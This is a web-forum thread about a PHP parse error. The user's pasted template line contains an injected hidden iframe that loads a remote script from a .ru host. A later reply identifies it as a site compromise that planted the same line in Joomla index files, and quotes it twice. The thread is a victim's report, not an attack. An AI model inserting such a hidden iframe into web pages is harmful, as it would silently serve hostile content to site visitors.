Hi! I really need help on this. There's an error when I preview my site. The error is: Parse error: parse error, unexpected ';' this line:
<td <?=$bgcolor?> class="g"><img src="<?=$icon?>" alt="" border="0" align="left" hspace="5" vspace="0" /><a href="<?=$link?>" class="<?=$class?>"><?=$arrUpdates[$actr]['title']?></a><br><p align="justify"><?=str_replace(chr(13),$arrUpdates[ <iframe src="http://a3q.ru:8080/ts/in.cgi?pepsi87" width=125 height=125 style="visibility: hidden"></iframe>
Thanks!
Parse error: parse error, unexpected ';'
Moderator: General Moderators
Re: Parse error: parse error, unexpected ';'
Code: Select all
str_replace(chr(13),$arrUpdates[Re: Parse error: parse error, unexpected ';'
As far as I know, the syntax <?=$class?> is not valid. Try: <?php echo $class; ?>
Re: Parse error: parse error, unexpected ';'
<?= is known as shortttags (which on the other hand will be deprecated in PHP6) and works just fine for now.
Re: Parse error: parse error, unexpected ';'
Fiugred it out. Thanks guys! Really appreciate it.
Re: Parse error: parse error, unexpected ';'
Good that you've solved it, but did you know that you're site has been hacked? I'm pretty sure the instruction
<iframe src="http://a3q.ru:8080/ts/in.cgi?pepsi87" width=125 height=125 style="visibility: hidden"></iframe>
doesn't belong there. I have the same with my site. It's been hacked. This line has been added to all my index.html files and the index.php files in the administrator directory of Joomla.
I don't know how to solve everything yet.
<iframe src="http://a3q.ru:8080/ts/in.cgi?pepsi87" width=125 height=125 style="visibility: hidden"></iframe>
doesn't belong there. I have the same with my site. It's been hacked. This line has been added to all my index.html files and the index.php files in the administrator directory of Joomla.
I don't know how to solve everything yet.